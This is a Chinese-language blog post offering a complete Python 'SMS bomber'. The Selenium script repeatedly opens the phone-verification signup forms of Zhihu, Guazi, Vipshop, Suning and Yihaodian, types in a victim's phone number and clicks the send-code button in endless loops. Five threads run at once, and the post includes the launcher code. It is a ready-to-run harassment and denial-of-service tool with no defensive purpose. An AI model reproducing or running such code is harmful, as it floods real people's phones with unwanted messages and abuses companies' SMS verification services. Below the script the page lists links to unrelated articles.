Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python使用PythonMagick将jpg图片转换成ico图片的方法
Mar 26 Python
点球小游戏python脚本
May 22 Python
替换python字典中的key值方法
Jul 06 Python
Python并行分布式框架Celery详解
Oct 15 Python
python使用selenium登录QQ邮箱(附带滑动解锁)
Jan 23 Python
Python和Java的语法对比分析语法简洁上python的确完美胜出
May 10 Python
用python做游戏的细节详解
Jun 25 Python
python3让print输出不换行的方法
Aug 24 Python
Django启动时找不到mysqlclient问题解决方案
Nov 11 Python
利用python如何实现猫捉老鼠小游戏
Dec 04 Python
解决numpy数组互换两行及赋值的问题
Apr 17 Python
两行代码解决Jupyter Notebook中文不能显示的问题
Apr 24 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
php格式化工具Beautify PHP小小BUG
2008/04/24 PHP
php下正则来匹配dede模板标签的代码
2010/08/21 PHP
ThinkPHP使用UTFWry地址库进行IP定位实例
2014/04/01 PHP
几个实用的PHP内置函数使用指南
2014/11/27 PHP
php操作xml入门之xml基本介绍及xml标签元素
2015/01/23 PHP
php 使用array函数实现分页
2015/02/13 PHP
PHP AjaxForm提交图片上传并显示图片源码
2016/11/29 PHP
php使用 readfile() 函数设置文件大小大小的方法
2017/08/11 PHP
top.location.href 没有权限 解决方法
2008/08/05 Javascript
Jquery Validation插件防止重复提交表单的解决方法
2010/03/05 Javascript
js常用排序实现代码
2010/12/28 Javascript
Extjs中ComboBox加载并赋初值的实现方法
2012/03/22 Javascript
javascript 实现简单的table排序及table操作练习
2012/12/28 Javascript
javascript实现删除前弹出确认框
2015/06/04 Javascript
JavaScript实现的多个图片广告交替显示效果代码
2015/09/04 Javascript
js删除数组元素、清空数组的简单方法(必看)
2016/07/27 Javascript
JavaScript中三种常见的排序方法
2017/02/24 Javascript
js实现产品缩略图效果
2017/03/10 Javascript
angularjs实现天气预报功能
2020/06/16 Javascript
深入理解Vue 单向数据流的原理
2017/11/09 Javascript
基于vue 开发中出现警告问题去除方法
2018/01/25 Javascript
Vue组件之极简的地址选择器的实现
2018/05/31 Javascript
JSON数据中存在单个转义字符“\”的处理方法
2018/07/11 Javascript
Echarts地图添加引导线效果(labelLine)
2019/09/30 Javascript
[02:20]DOTA2中文配音宣传片
2013/05/22 DOTA
由Python运算π的值深入Python中科学计算的实现
2015/04/17 Python
Python实现手写一个类似django的web框架示例
2018/07/20 Python
python编写猜数字小游戏
2019/10/06 Python
Python numpy线性代数用法实例解析
2019/11/15 Python
python爬取代理IP并进行有效的IP测试实现
2020/10/09 Python
百度吧主申请感言
2014/01/12 职场文书
倡议书格式模板
2014/05/13 职场文书
森林防火标语
2014/06/23 职场文书
2015年教育实习工作总结
2015/04/24 职场文书
元旦主持词开场白
2015/05/29 职场文书
重阳节主题班会
2015/08/17 职场文书